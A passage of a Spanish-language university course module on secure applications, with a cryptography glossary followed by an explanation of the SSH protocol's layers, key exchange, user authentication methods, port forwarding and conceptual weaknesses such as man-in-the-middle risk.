Authentication Header(AH): Protocolo de la arquitectura IPsec que proporciona autenti-
cación de los datagramas IP.

Autoridad de certificación (CA): Entidad que emite certificados de clave pública, que
sirven para que los usuarios que confíen en esta autoridad se convenzan de la autenticidad
de les claves públicas.

Autoridad de certificación (CA) raíz: CA que no tiene ninguna otra superior que certi-
fique la autenticidad de su clave pública, y que por tanto tiene un certificado firmado por
ella misma.

CA: Ver Autoridad de certificación.

Cadena de certificados:Lista de certificados, cada uno de los cuales permite verificar
la autenticidad de la clave pública de la CA que ha emitido el anterior, hasta llegar al
certificado de una CA raíz.

Certificado de clave pública:También conocido como certificado digital, es una estruc-
tura de datos que contiene un nombre de usuario y su clave pública, y que está firmado
digitalmente por una autoridad de certificación dando fe de esta asociación usuario-clave
pública.

Certificado digital: Certificado de clave pública.

Cifrado: Transformación de un texto en claro, mediante un algoritmo que tiene como
parámetro una clave, en un texto cifrado ininteligible para quien no conozca la clave de
descifrado.

 FUOC • XP04/90789/00892



FUOC · P03/75070/02123 84 Mecanismos deprotección

Cifrado en bloque: Transformación criptográfica en que el texto en claro se divide en
bloques y se aplica un algoritmo de cifrado a cada uno de estos bloques.

Cifrado en flujo: Transformación criptográfica en que el texto en claro se combina con
una secuencia pseudoaleatoria obtenida a partir de la clave.

Clave: Parámetro de un algoritmo de cifrado o de descifrado, que permite definir transfor-
maciones criptográficas distintas sin necesidad de cambiar el algoritmo.

Clave de sesión.:Clave simétrica generadaad hocpara proteger un determinado inter-
cambio de información, y que es conocida por las dos partes utilizando criptografía de
clave pública, para que no pueda ser descubierta por un atacante.

Clave privada.: Clave que permite realizar la transformación criptográfica inversa a la que
se obtiene con una clave pública, y que es computacionalmente inviable obtener a partir de
esta última.

Clave pública.: Clave que permite realizar la transformación criptográfica inversa a la que
se obtiene con una clave privada.

Clave simétrica.: Clave que permite realizar tanto una transformación criptográfica como
la transformación inversa, es decir, cifrado y descifrado.

Código de autenticación de mensaje (MAC):Valor calculado a partir de un texto con
una clave secreta, y que puede ser utilizado por quien conozca la clave para comprobar la
autenticidad del mensaje.

Confidencialidad: Protección de la información contra lectura por parte de terceros no
autorizados.

Contraseña: Palabra (“password’) o cadena de caracteres secreta, de longitud relativa-
mente corta, usada por una entidad para autenticarse.

Criptoanálisis: Estudio de las técnicas matemáticas para anular la protección que propor-
ciona la criptografía.

Criptografía: Estudio de las técnicas matemáticas para proteger la información, de modo
que no pueda ser interpretada por partes no autorizadas.

Criptología: Disciplina que engloba la criptografía y el criptoanálisis.

CRL: Ver Lista de revocación de certificados.

Descifrado: Transformación inversa al cifrado, para obtener el texto en claro a partir del
texto cifrado y la clave de descifrado.

Digest: Nombre que se da a veces a un resumen ohash.

Encapsulating Security Payload(ESP): Protocolo de la arquitectura IPsec que propor-
ciona autenticación y/o confidencialidad de los datos de los datagramas IP.

ESP: Ver Encapsulating Security Payload.

Extranet: Red privada de una organización en que una parte de sus recursos son accesibles
a determinados usuarios externos a esta organización.

Firma digital: Valor calculado a partir de un texto con una clave privada, y que puede
ser comprobado con la correspondiente clave pública, la cual cosa permite confirmar que
solamente lo puede haber generado el poseedor de la clave privada.

Hash: Cadena de bits, de longitud predeterminada, que se obtiene a partir de una secuencia
de bits de longitud arbitraria, como “resumen” de esta secuencia.

Índice de parámetros de seguridad (SPI):Número que, juntamente con la dirección
IP del nodo de destino, permite a un nodo origen identificar una asociación de seguridad
IPsec.
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Infraestructura de clave pública (PKI): Conjunto de estructuras de datos, procedimien-
tos y agentes que permiten el uso de la criptografía de clave pública.

Intranet: Red privada corporativa de una organización, con acceso restringido a los usuar-
ios que pertenecen a esta organización.

IPsec: Conjunto de protocolos a nivel de red (AH, ESP, etc.) que añaden seguridad al
protocolo IP.

Lista de revocación de certificados (CRL):Lista de certificados que han dejado de ser
válidos antes de la su fecha de caducidad, emitida y firmada por la misma CA que emitió
estos certificados.

MAC: Ver Código de autenticación de mensaje.

No repudio: Protección de la información contra denegación de autoría por parte de su
originador.

Padding: Datos adicionales que puede ser necesario añadir a un texto en claro antes de
aplicarle un algoritmo de cifrado en bloque, para que su longitud sea múltiple de la longitud
del bloque.

Passphrase: Cadena de caracteres secreta, de longitud generalmente mayor que una con-
traseña, usada por una entidad para autenticarse.

Password: Ver Contraseña.

PKI: Ver Infraestructura de clave pública.

Resumen:Ver Hash.

Reto-respuesta:Método de autenticación de entidad basado en un valor secreto, que la
entidad a autenticar debe utilizar para calcular una respuesta válida a un reto que le envía
el verificador.

SA: Ver Asociación de seguridad.

Sal: Conjunto de bits aleatorios que se generanad hocpara modificar una clave de cifrado,
y que permiten que un mismo texto resulte en textos cifrados distintos aunque se cifre con
la misma clave.

Secure Sockets Layer(SSL): Protocolo para proteger las comunicaciones a nivel de trans-
porte, que ofrece unos servicios de comunicación segura análogos a los que ofrece la in-
terfaz de lossockets.

Seguridad computacional:Seguridad que proporciona una técnica criptográfica el crip-
toanálisis de la cual requeriría una cantidad de recursos computacionales mucho más
grande de lo que está al alcance de nadie.

Seguridad incondicional: Seguridad que proporciona una técnica criptográfica que no
permite obtener ninguna información sobre el texto en claro, independientemente de la
cantidad de recursos disponibles para el criptoanálisis.

SPI: Ver Índice de parámetros de seguridad.

SSL: Ver Secure Sockets Layer.

Texto en claro: Información directamente inteligible.

Texto cifrado: Resultado de aplicar un cifrado a un texto en claro.

TLS: Ver Transport Layer Security.

Transport Layer Security(TLS): Versión del protocolo SSL estandardizada por el IETF
(Internet Engineering Task Force).
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Túnel: Asociación entre dos nodos de una red para intercambiarse paquetes de un proto-
colo determinado, posiblemente con origen y destino final en otros nodos, encapsulados en
paquetes del protocolo de comunicación que utiliza la red (típicamente, la red es Internet
y el protocolo de encapsulación es IP).

VPN: Ver Red privada virtual.

Wireless Transport Layer Security(WTLS): Versión del protocolo TLS adaptada a las
comunicaciones inalámbricas en un entorno WAP (Wireless Application Protocol).

WTLS: Ver Wireless Transport Layer Security.

Red privada virtual (VPN): Red lógica (virtual) definida sobre una red pública, como
por ejemplo Internet, y que funciona, mediante túneles, como si fuera una red privada
dedicada.
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Introducción

En este módulo se describen aplicaciones que utilizan técnicas de seguridad

en las comunicaciones para proteger los datos intercambiados.

Un ejemplo de aplicaciones que hay que proteger son las que permiten es-

tablecer sesiones de trabajo interactivas con un servidor remoto. En la primera

parte del módulo veremos una aplicación de este tipo, llamadaSSH, que de-

fine su propio protocolo para que los datos de la aplicación se transmitan cifra-

dos. El mismo protocolo proporciona también mecanismos de autenticación

del servidor frente al usuario, y del usuario frente al servidor. Como vere-

mos, el protocolo SSH se puede utilizar para otras aplicaciones aparte de las

sesiones interactivas, ya que permite el encapsulamiento de conexiones TCP a

cualquier puerto dentro de una conexión SSH.

La segunda parte de este módulo la dedicaremos a otra de las principales apli-

caciones que suele ser necesario proteger: elcorreo electrónico. Con los

mecanismos de protección adecuados se puede garantizar laconfidencialidad,
es decir, que nadie más que el destinatario o destinatarios legítimos puedan ver

el contenido de los mensajes, y laautenticidad, es decir que los destinatarios

puedan comprobar que nadie ha falsificado un mensaje. Los sistemas actuales

de correo electrónico normalmente utilizan lasfirmas digitales para propor-

cionar el servicio de autenticación de mensaje.

Una particularidad del correo electrónico seguro respecto a otras aplicaciones

como SSH es que la protección se realiza preferentemente sobre los mensajes

enviados, más que sobre los protocolos de comunicación utilizados. Esto es

así porque la confidencialidad y la autenticidad se tiene que garantizar no sólo

durante la transmisión de los mensajes, sino también en cualquier otro mo-

mento posterior, ya que el destinatario puede guardar los mensajes que recibe

y volverlos a leer cuando le convenga.

En este módulo veremos dos de los principales sistemas utilizados actualmente

para proteger los mensajes de correo electrónico,S/MIME y PGP.
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Objetivos

Con los materiales asociados a este módulo didáctico alcanzareis los siguien-

tes objetivos:

1. Conocer el mecanismo general de funcionamiento del protocolo SSH y

las principales aplicaciones que lo utilizan.

2. Comprender las funciones de seguridad que pueden proporcionar los sis-

temas de correo electrónico seguro y los mecanismos para alcanzarlas.

3. Identificar el estándar S/MIME como aplicación de la especificación MIME

al correo seguro, y conocer el uso que se hace del estándar PKCS #7 y de

los certificados digitales X.509.

4. Conocer el método de representación de información segura en PGP y el

modelo de confianza mutua del sistema PGP.
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1. El protocolo SSH .

.

SSH es una aplicación diseñada para substituir determinadas herra-

mientas de acceso remoto usadas tradicionalmente en los sistemas Unix,

como rsh (Remote Shell), rlogin (Remote Login) o rcp (Remote

Copy), por nuevas versiones con servicios de seguridad.

El nombre de esta aplicación, SSH, es la abreviatura deSecure Shell, que viene

a significar “versión segura del programaRemote Shell”.

La aplicación define un protocolo propio para la transmisión segura de los

datos, elprotocolo SSH. Este protocolo se sitúa directamente por debajo de

la capa de transporte, (concretamente del transporte TCP) y, como veremos

en este apartado, proporciona servicios análogos a los del protocolo SSL/TLS.

Aparte de establecer conexiones seguras, el protocolo SSH también ofrece

otras funcionalidades como, por ejemplo, la redirección de puertos TCP o

la comunicación entre clientes y servidores de ventanas X, a través de una

conexión SSH.

El autor de la primera implementación del SSH, Tatu Ylönen, de la Univer-

sidad Tecnológica de Helsinki, publicó el año 1995 la especificación de la

versión 1 del protocolo. Desde entonces se ha trabajado en la especificación

de una nueva versión del protocolo, la 2.0, actualmente en fase de borrador a la

espera de su publicación oficial como RFC. Aunque la funcionalidad que pro-

porciona es básicamente la misma, la nueva versión incorpora muchas mejoras

y es sustancialmente distinta de la anterior. La versión antigua y la nueva del

protocolo se referencian habitualmente referenciadas como SSH1 y SSH2, re-

spectivamente. En este apartado nos centraremos sobre todo en el protocolo

SSH2.

1.1. Características del protocolo SSH

SSH proporciona servicios de seguridad equivalentes a los del protocolo SSL/

TLS.

Confidencialidad. SSH sirve para comunicar datos, que habitualemente son

la entrada de una aplicación remota y la salida que genera, o bien la informa-

ción que se transmite por un puerto redirigido, y la confidencialidad de estos
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datos se garantiza mediante el cifrado.

Como en el caso del protocolo SSL/TLS, en SSH se aplica un cifrado simétrico

a los datos y, por lo tanto, será necesario realizar previamente un intercambio

seguro de claves entre cliente y servidor. Una diferencia respecto a SSL/TLS

es que en SSH2 se pueden utilizar algoritmos de cifrado distintos en los dos

sentidos de la comunicación.

Un servicio adicional que proporciona SSH es la confidencialidad de la iden-

tidad del usuario. Mientras que en SSL 3.0 y TLS 1.0, si se opta por autenticar

al cliente, éste tiene que enviar su certificado en claro, en SSH (y también

en SSL 2.0) la autenticación del usuario se realiza cuando los paquetes ya se

mandan cifrados.

Por otro lado, SSH2 también permite ocultar ciertas características del tráfico

como, por ejemplo, la longitud real de los paquetes.

Autenticación de entidad.El protocolo SSH proporciona mecanismos para

autenticar tanto el ordenador servidor como el usuario que se quiere conectar.

La autenticación del servidor suele realizarse conjuntamente con el intercam-

bio de claves. En SSH2 el método de intercambio de claves se negocia entre

el cliente y el servidor, aunque actualmente sólo hay uno definido, basado en

el algoritmo de Diffie-Hellman.

Para autenticar al usuario existen distintos métodos; dependiendo de cuál se

utilice, puede ser necesaria también la autenticación del ordenador cliente,

mientras que otros métodos permiten que el usuario debidamente autenticado

acceda al servidor desde cualquier ordenador cliente.

Autenticación de mensaje.Igual que en SSL/TLS, en SSH2 la autenticidad

de los datos se garantiza añadiendo a cada paquete un código MAC calculado

con una clave secreta. También existe la posibilidad de utilizar algoritmos

MAC distintos en cada sentido de la comunicación.

Igual que SSL/TLS, SSH también está diseñado con los siguientes criterios

adicionales:

Eficiencia. SSH contempla la compresión de los datos intercambiados para

reducir la longitud de los paquetes. SSH2 permite negociar el algoritmo que

se utilizará en cada sentido de la comunicación, aunque solamente existe uno

definido en la especificación del protocolo. Este algoritmo es compatible con

el que utilizan programas comogzip (RFC 1950–1952).

A diferencia de SSL/TLS, en SSH no está prevista la reutilización de claves de

sesiones anteriores: en cada nueva conexión se vuelven a calcular las claves.

Esto es así porque SSH está pensado para conexiones que tienen una duración

más o menos larga, como suelen ser las sesiones de trabajo interactivas con

un ordenador remoto, y no para las conexiones cortas pero consecutivas, que

son más típicas del protocolo de aplicación HTTP (que es el que inicialmente

se quería proteger con SSL). De todas formas, SSH2 define mecanismos para
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intentar acortar el proceso de negociación.

Extensibilidad. En SSH2 también se negocian los algoritmos de cifrado, de

autenticación de usuario, de MAC, de compresión y de intercambio de claves.

Cada algoritmo se identifica con una cadena de caracteres que representa su

nombre. Los nombres pueden corresponder a algoritmos oficialmente regis-

trados, o bien a algoritmos propuestos experimentalmente o definidos local-

mente.

Algoritmos no oficiales

Los nombres de los
algoritmos no oficiales
deben de ser de la forma
“nombre @dominio ”,
donde dominio es un
dominio DNS controlado
por la organitzación que
define el algoritmo (por
ejemplo “cifrado-
fuerte@uoc.edu ”).

Adaptación de SSH a idiomas locales

Por otro lado, SSH2 facilita la adaptación de las implementaciones a los idiomas lo-
cales. Donde el protocolo prevé la transmisión de un mensaje de error o informativo
que pueda ser mostrado al usuario humano, se incluye una etiqueta que identifica el
idioma del mensaje, de acuerdo con el RFC 1766.

Tanto estos mensajes como los nombres de usuario se representan con el juego de
caracteres universal ISO/IEC 10646 mediante la codificación UTF-8, de acuerdo con
el RFC 2279 (el código ASCII es un subconjunto porque en UTF-8 los caracteres con
código menor a 128 se representan con un solo byte, de valor igual al código).

1.2. La capa de transporte SSH

De la misma forma que en SSL/TLS se distinguen dos subcapas en el nivel

de transporte seguro, en SSH también se puede considerar una división en

dos subniveles. Además, en SSH2 el nivel superior está estructurado en tres

protocolos, uno por encima del otro, como muestra la siguiente figura:

 FUOC • XP04/90789/00892



FUOC · P03/75070/02124 9 Aplicaciones seguras

En el nivel inferior de la capa SSH se situa elprotocolo de paquetes SSH.
Los tres protocolos existentes por encima de éste son:

• El protocolo de capa de transporte, que se encarga del intercambio de

claves.

• El protocolo de autentificación de usuario.

• El protocolo de gestión de las conexiones.

1.2.1. El protocolo de paquetes SSH

.
El protocolo de paquetes SSH se encarga de construir e intercambiar las

unidades del protocolo, que son lospaquetes SSH.

En el momento de enviar datos, a los mensajes de los niveles superiores se las

 FUOC • XP04/90789/00892



FUOC · P03/75070/02124 10 Aplicaciones seguras

aplica (por este orden):

• La compresión.

• El código de autenticación MAC.

• El cifrado.

En la recepción, a cada paquete se le aplica el procesamiento inverso (descifra-

do, verificación de autenticidad y descompresión).

El formato de los paquetes SSH2 es el siguiente:

Los campos existentes en un paquete SSH2 son los siguientes:

• El primero es la longitud del resto del paquete, excluido el MAC (por lo

tanto, es igual a 1+Lm+Lp).

• El segundo campo indica cuántos bytes depaddingexisten. Este número

de bytes debe ser tal que la longitud total del paquete, excluido el MAC,

sea múltiple de 8 (o de la longitud de bloque en los cifrados de bloque, si

es más grande que 8).

• El tercer campo es el contenido del mensaje, comprimido si se da el caso.

El primer byte del contenido siempre indica de qué tipo de mensaje se trata,

y la estructura del resto de bytes depende del tipo.

• El cuarto campo son los bytes aleatorios depadding. Siempre están
Bytes depadding

Los bytes de padding
aseguran que la longitud
de los datos que hay que
cifrar sea la adecuada
para los cifrados de
bloque.

presentes, incluso cuando el cifrado utilizado sea en flujo, y su longitud

tiene que ser como mínimo igual a 4. Por lo tanto, la longitud mínima de

un paquete, sin contar el MAC, es de 16 bytes.

• El quinto campo es el código de autentificación MAC, obtenido mediante

la técnica HMAC a partir de una clave secreta, un número de secuencia

implícito de 32 bits y el valor de los otros cuatro campos del paquete. La

longitud del MAC depende del algoritmo acordado, y puede ser 0 si se

utiliza el algoritmo nulo.

Cuando se cifran los paquetes, se aplica el cifrado a todos los campos excepto

el del MAC, pero incluyendo la longitud. Eso significa que el receptor tiene
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que descifrar los 8 primeros bytes de cada paquete para conocer la longitud

total de la parte cifrada.

1.2.2. El protocolo de capa de transporte SSH

.

El protocolo de capa de transporte se encarga del establecimiento de la

conexión de transporte, de la autentificación del servidor y intercambio

de claves, y de las peticiones de servicio de los demás protocolos.

El cliente se conecta al servidor mediante el protocolo TCP. El servidor debe

estar escuchando peticiones de conexión en el puerto asignado al servicio

SSH, que es el 22.

El primer paso, una vez establecida la conexión, es negociar la versión del
Compatibilidad con la
versión 1

En SSH2 se define un
modo de compatibilidad
con SSH1, en el cual el
servidor identifica su
versión con el
número 1.99: los clientes
SSH2 deben considerar
este número equivalente
a 2.0, mientras que los
clientes SSH1
responderán con su
número de versión real.

protocolo SSH que se utilizará. Tanto el cliente como el servidor envían una

línea que contiene el texto “SSH-x . y - implementación ”, dondex . y es

el número de versión del protocolo (por ejemplo,2.0 ) e implementación

es una cadena identificativa del software del cliente o servidor. Si los números

de versión no concuerdan, el servidor decide si puede continuar o no: si no

puede, simplemente cierra la conexión. Antes de esta línea de texto, el servidor

también puede enviar otras con mensajes informativos, mientras no empiecen

con “SSH-”.

Cuando se han puesto de acuerdo en la versión, cliente y servidor pasan a

intercambiar mensajes con el protocolo de paquetes SSH visto anteriormente,

inicialmente sin cifrar y sin MAC. Para ahorrar tiempo, el primer paquete

SSH se puede enviar juntamente con la línea que indica la versión, sin esperar

a recibir la línea de la otra parte. Si las versiones coinciden, el protocolo

continúa normalmente; si no, puede ser necesario reiniciarlo.

En primer lugar, se procede al intercambio de claves. En SSH2 cada parte

envía un mensajeKEXINIT que contiene una cadena de 16 bytes aleatorios

llamadacookie, y las listas de algoritmos soportados por orden de preferencia:

algoritmos de intercambio de claves y, para cada sentido de la comunicación,

algoritmos de cifrado simétrico, de MAC y de compresión. También se incluye

una lista de idiomas soportados por los mensajes informativos. Para cada tipo

de algoritmo, se escoge el primero de la lista del cliente que esté también en

la lista del servidor.

Algoritmos previstos en SSH2

Los algoritmos criptográficos que contempla SSH2 son los siguientes:

• Para el intercambio de claves: Diffie-Hellman.

• Para el cifrado: RC4, Triple DES, Blowfish, Twofish, IDEA y CAST-128.
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• Para el MAC: HMAC-SHA1 y HMAC-MD5 (con todos los bytes o sólo con los
12 primeros).

Los paquetes que vienen a continuación son los de intercambio de claves, y

dependen del algoritmo escogido (aunque SSH2 sólo prevé el algoritmo de

Diffie-Hellman).

Se puede suponer que la mayoría de implementaciones tendrán un mismo

algoritmo preferido de cada tipo. De este modo, para reducir el tiempo de

respuesta se puede enviar el primer mensaje de intercambio de claves des-

pués delKEXINIT sin esperar el de la otra parte, utilizando estos algoritmos

preferidos. Si la suposición resulta acertada, el intercambio de claves continúa

normalmente, y si no, los paquetes enviados anticipadamente se ignoran y se

vuelven a enviar con los algoritmos correctos.

Sea cual sea el algoritmo, como resultado del intercambio de claves se obtiene

un secreto compartido y un identificador de sesión. Con el algoritmo Diffie-

Hellman, este identificador es elhashde una cadena formada, entre otras,

por lascookiesdel cliente y el servidor. Las claves de cifrado y de MAC y

los vectores de inicialización se calculan aplicando funcioneshashde varias

formas a distintas combinaciones del secreto compartido y del identificador de

sesión.

Para finalizar el intercambio de claves cada parte envía un mensajeNEWKEYS,

que indica que el siguiente paquete será el primero que utilizará los nuevos

algoritmos y claves.

Todo este proceso se puede repetir cuando sea necesario para regenerar las

claves. La especificación SSH2 recomienda hacerlo después de cada gigabyte

transferido o de cada hora de tiempo de conexión.

Si se produce algún error en el intercambio de claves, o en cualquier otro punto

del protocolo, se genera un mensajeDISCONNECT, que puede contener un

texto explicativo del error, y se cierra la conexión.

Otros mensajes que se pueden intercambiar en cualquier momento son:

• IGNORE: su contenido debe ser ignorado, pero se puede usar para con-

trarrestar el análisis de flujo de tráfico.

• DEBUG: sirven para enviar mensajes informativos.

• UNIMPLEMENTED: se envían en respuesta a mensajes de tipo desconoci-

do.

En SSH2, después de finalizado el intercambio de claves el cliente envía un

mensajeSERVICE_REQUESTpara solicitar un servicio, que puede ser au-

 FUOC • XP04/90789/00892



FUOC · P03/75070/02124 13 Aplicaciones seguras

tenticación de usuario, o bien acceso directo al protocolo de conexión si no es

necesaria autenticación. El servidor responde conSERVICE_ACCEPTsi per-

mite el acceso al servicio solicitado, o conDISCONNECTen caso contrario.

1.2.3. El protocolo de autenticación de usuario

En SSH se contemplan distintos métodos de autenticación de usuario:

1) Autenticación nula. El servidor permite que el usuario acceda directa-

mente, sin ninguna comprobación, al servicio solicitado. Un ejemplo sería

el acceso a un servicio anónimo.

2) Autenticación basada en listas de acceso.A partir de la dirección del sis-

tema cliente y el nombre del usuario de este sistema que solicita el acceso,

el servidor consulta una lista para determinar si el usuario está autorizado

a acceder al servicio. Ésta es la misma autenticación que utiliza el progra-

ma rsh de Unix, en el cual el servidor consulta los ficheros.rhosts y

/etc/hosts.equiv . Dada su vulnerabilidad a ataques de falsificación

de dirección IP, este método sólo se puede utilizar en SSH1: SSH2 no lo

soporta.

3) Autenticación basada en listas de acceso con autenticación de cliente.
Es igual que el anterior, pero el servidor verifica que el sistema cliente

sea efectivamente quien dice ser, para evitar los ataques de falsificación de

dirección.

4) Autenticación basada en contraseña.El servidor permite el acceso si el

usuario da una contraseña correcta. Éste es el método que sigue normal-

mente el procesologin en los sistemas Unix.

5) Autenticación basada en clave pública.En lugar de dar una contraseña,

el usuario se autentica demostrando que posee la clave privada correspon-

diente a una clave pública reconocida por el servidor.

En SSH2 el cliente va mandando mensajesUSERAUTH_REQUEST, que in-
Mensaje
USERAUTH_BANNER

El mensaje
USERAUTH_BANNER
puede incluir, por ejemplo,
texto identificativo del
sistema servidor, avisos
sobre restricciones de
uso, etc. Éste es el tipo de
información que
normalmente muestran
los sistemas Unix antes
del prompt para introducir
el nombre de usuario, y
suele estar en el fichero
/etc/issue .

cluyen el nombre de usuario (se puede ir cambiando de un mensaje a otro), el

método de autenticación solicitado, y el servicio al que se quiere acceder. Si el

servidor permite el acceso responderá con un mensajeUSERAUTH_SUCCESS;

si no, enviará un mensajeUSERAUTH_FAILURE, que contiene la lista de

métodos de autenticación que se pueden continuar intentando, o bien cerrará

la conexión si ya se han producido demasiados intentos o ha pasado demasi-

ado tiempo. El servidor puede enviar opcionalmente un mensaje informativo

USERAUTH_BANNERantes de la autenticación.

Los mensajes de solicitud de autenticación contienen la siguiente información

según el método:

1) Para la autenticación nula no se precisa ninguna información adicional.
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2) En la autenticación basada en listas de acceso (solamente aplicable a SSH1)

es necesario dar el nombre del usuario en el sistema cliente. La dirección de

este sistema se supone disponible por medio de los protocolos subyacentes

(TCP/IP).

3) Cuando se utilizan listas de acceso con autenticación de cliente, en SSH2

el cliente envía su nombre DNS completo, el nombre del usuario local, la

clave pública del sistema cliente (y certificados, si tiene), la firma de una

cadena de bytes que incluye el identificador de sesión, y el algoritmo con

el que se ha generado esta firma. El servidor debe validar la clave pública

y la firma para completar la autenticación.

4) En la autenticación con contraseña sólo es preciso enviar directamente la

contraseña. Por motivos obvios, este método no debería estar permitido si

el protocolo de la subcapa de transporte SSH utiliza el algoritmo de cifrado

nulo.
Contraseña caducada

SSH2 prevé el caso de
que la contraseña del
usuario en el sistema
servidor esté caducada y
sea necesario cambiarla
antes de continuar. El
cambio no se debería
permitir si no se está
utilizando ningún MAC
(algoritmo nulo), porque
un atacante podría
modificar el mensaje que
contiene la nueva
contraseña.

5) La autenticación basada en clave pública es parecida a la de listas de acceso

con autenticación de cliente. En SSH2 el cliente debe enviar un mensaje

que contenga la clave pública del usuario (y los certificados, si tiene), el

algoritmo que corresponde a esta clave y una firma en la cual interviene

el identificador de sesión. El servidor dará por buena la autenticación si

verifica correctamente la clave y la firma.

Opcionalmente, para evitar cálculos e interacciones innecesarias con el

usuario, el cliente puede enviar antes un mensaje con la misma informa-

ción pero sin la firma, para que el servidor responda si la clave pública que

se le ofrece es aceptable.

Cuando el proceso de autenticación se haya completado satisfactoriamente,

en SSH2 se pasa al servicio que el cliente haya solicitado en su último men-

sajeUSERAUTH_REQUEST(el que ha dado lugar a la autenticación correcta).

Actualmente sólo existe un servicio definido, que es el de conexión.

1.2.4. El protocolo de conexión

.

El protocolo de conexión gestiona las sesiones interactivas para la eje-

cución remota de comandos, mandando los datos de entrada de cliente

a servidor y los de salida en sentido inverso. También se encarga de la

redirección de puertos TCP.

Como muestra la siguiente figura, con la redirección TCP es posible lograr

que las conexiones que se realicen a un determinado puerto PC del cliente

sean redirigidas a un puerto PB de un ordenador B desde el servidor, o que

las conexiones que se realicen a un determinado puerto PS del servidor sean

redirigidas a un puerto PD de un ordenador D desde el cliente. De esta forma la
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conexión SSH se puede utilizar, por ejemplo, como túnel de otras conexiones

a través de un cortafuegos que esté situado entre el cliente y el servidor SSH.

Además, SSH contempla la posibilidad de utilizar lo que se conoce como

agente de autenticación. Este agente es un proceso que permite automati-

zar la autenticación del usuario basada en claves públicas cuando es necesario

realizarla desde un ordenador remoto. Por ejemplo, supongamos la situación

de la siguiente figura:

El usuario del ordenador A utiliza un cliente SSH para conectarse al orde-

nador B y trabajar con una sesión interactiva. El ordenador A puede ser, por

ejemplo, un PC portátil en el que el usuario tiene guardada su clave privada

y del que no desea que salga nunca esta calve. Entonces resulta que necesita

establecer una conexión SSH (por ejemplo, otra sesión interactiva) desde el

ordenador B al ordenador C, y se tiene que autenticar con su clave personal.
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El cliente del ordenador B, en lugar de realizar directamente la autenticación,

para lo que necesitaría la clave privada del usuario, pide al agente del orde-

nador A que firme el mensaje adecuado para demostrar que posee la clave

privada. Este esquema también se puede utilizar localmente por parte de los

clientes del mismo ordenador A.

.

Cada sesión interactiva, conexión TCP redirigida o conexión a un

agente es uncanal. Pueden existir distintos canales abiertos en una

misma conexión SSH, cada uno identificado con un número en cada ex-

tremo (los números asignados a un canal en el cliente y en el servidor

pueden ser diferentes).

SSH2 prevé catorce tipos de mensajes que se pueden enviar durante la fase

de conexión. Éstas son algunas de las funciones que permiten realizar los

mensajes:

Abrir un canal. Se pueden abrir canales de distintos tipos: sesión interactiva,

canal de ventanas X, conexión TCP redirigida o conexión con un agente de

autenticación.

Configurar parámetros del canal.Antes de empezar una sesión interactiva

el cliente puede especificar si necesita que se le asigne un pseudoterminal en

el servidor, como hace el programarlogin de Unix (en cambio, el programa

rsh no lo necesita) y, si es así, con qué parámetros (tipo de terminal, dimen-

siones, caracteres de control, etc.). Existen otros mensajes para indicar si se

quiere conexión con el agente de autenticación o redirección de conexiones de

ventanas X.

Empezar sesión interactiva.Una vez configurados los parámetros necesa-

rios, el cliente puede dar el nombre de un comando que se deba ejecutar en

el servidor (como enrsh ), o bien indicar qué quiere ejecutar un intérprete

de comandos (como enrlogin ). Además de un proceso remoto, en SSH2

también existe la posibilidad de iniciar un “subsistema”, como puede ser, por

ejemplo, una transferencia de ficheros.

Enviar datos. En SSH2 existen dos tipos de mensaje con este fin: uno para

enviar datos normales en cualquier sentido y para cualquier canal (incluyendo

las sesiones interactivas), y otro para enviar datos especiales (por ejemplo, los

de la salida de errorstderr ). Además de los datos de la sesión, el cliente

también puede enviar un mensaje para indicar que ha recibido una señal o que

se ha producido un cambio en las dimensiones del terminal.

Cerrar canal. Cuando termina la ejecución normal del proceso o intérprete de

comandos, el servidor envía un mensaje indicando el código de salida (el valor

numérico que devuelve el proceso). Si ha terminado a causa de una señal, en

SSH2 envía un mensaje con el número de señal. Existen otros mensajes que

sirven para indicar que ya no hay más datos de entrada, para solicitar el cierre

de un canal desde un extremo, y para confirmar el cierre desde el otro extremo.
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Otras operaciones.(no asociadas a un canal abierto). El cliente puede pedir

que las conexiones que lleguen a un determinado puerto TCP del servidor le

sean redirigidas, para poderlas reenviar a otra dirección.

La siguiente figura resume el intercambio de mensajes en SSH2.

1.3. Ataques contra el protocolo SSH

Muchas de las consideraciones sobre la protección que proporciona SSL/TLS

son aplicables también al protocolo SSH. Este protocolo está diseñado para

que un atacante no pueda leer el contenido de los mensajes ni alterarlos, y

tampoco cambiar la secuencia de los mismos.
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La confidencialidad queda garantizada con el método de intercambio de claves
Mejoras en SSH2

El protocolo SSH1 era
vulnerable a ataques de
repetición, eliminación o
reordenación de paquetes
porque no utilizaba
números de secuencia, y
también al reenvío de
paquetes en sentido
contrario si se utilizaba
una sola clave de cifrado
para ambos sentidos.
Estos problemas ya no
están presentes en SSH2.

basado en criptografía de clave pública, que protege contra los ataques “del

hombre a medio camino” que hemos visto en el apartado sobre SSL/TLS.

Además, este método permite que el cliente se asegure de que se está conectan-

do al servidor auténtico. Para comprobar que la clave pública que envía el

servidor es realmente la suya, se pueden usar certificados, o bien una base de

datos local del cliente en la que estén guardadas las claves de los servidores

reconocidos. Y para autenticar al usuario mediante una clave pública (la suya

o la del cliente desde el cual se conecta, dependiendo del método de autenti-

cación), también existen las dos opciones: certificados o una base de datos de

claves en el servidor.

Si no se usan certificados, el protocolo contempla la posibilidad (aunque no

se recomienda) de dar por buena la clave pública de un servidor la primera

vez que se establezca una conexión, sin necesidad de ninguna comunicación

previa. Esto no es apropiado en un entorno donde la seguridad sea crítica,

porque representa una vulnerabilidad a ataques “de hombre a medio camino”.

En otros entornos, y mientras no se disponga de una infraestructura de claves

ampliamente extendida, aceptar directamente claves recibidas por primera vez

puede suponer un equilibrio entre comodidad de uso y seguridad.

Una característica interesante añadida a SSH2 es que las longitudes de los pa-

quetes se envían cifradas. Un atacante que vea los datos intercambiados como

un flujo de bytes no puede saber dónde empieza y dónde acaba cada paquete

SSH2 (si tiene acceso al nivel de paquetes TCP puede intentar hacer deduc-

ciones, pero sin una certeza absoluta). Esto, juntamente con la posibilidad de

incluir paddingarbitrario (hasta 255 bytes) y enviar mensajesIGNORE, puede

servir para ocultar las características del tráfico y dificultar los ataques con

texto claro conocido.

Por otra parte, merece la pena señalar que los métodos de autenticación de

usuario mediante listas de acceso se basan en la confianza del servidor en el

administrador del sistema cliente (del mismo modo que los protocolosrsh y

rlogin ):

• Cuando no se autentica el sistema cliente (posibilidad contemplada sola-

mente en SSH1), el servidor sólo tiene que aceptar conexiones que proven-

gan de un puerto TCP privilegiado (menor que 1.024) para que a un usuario

cualquiera no le sea fácil enviar paquetes suplantando la identidad de otro.

• Cuando hay autenticación del sistema cliente, el servidor confía que los

usuarios no tendrán acceso a la clave privada de este sistema, porque si no

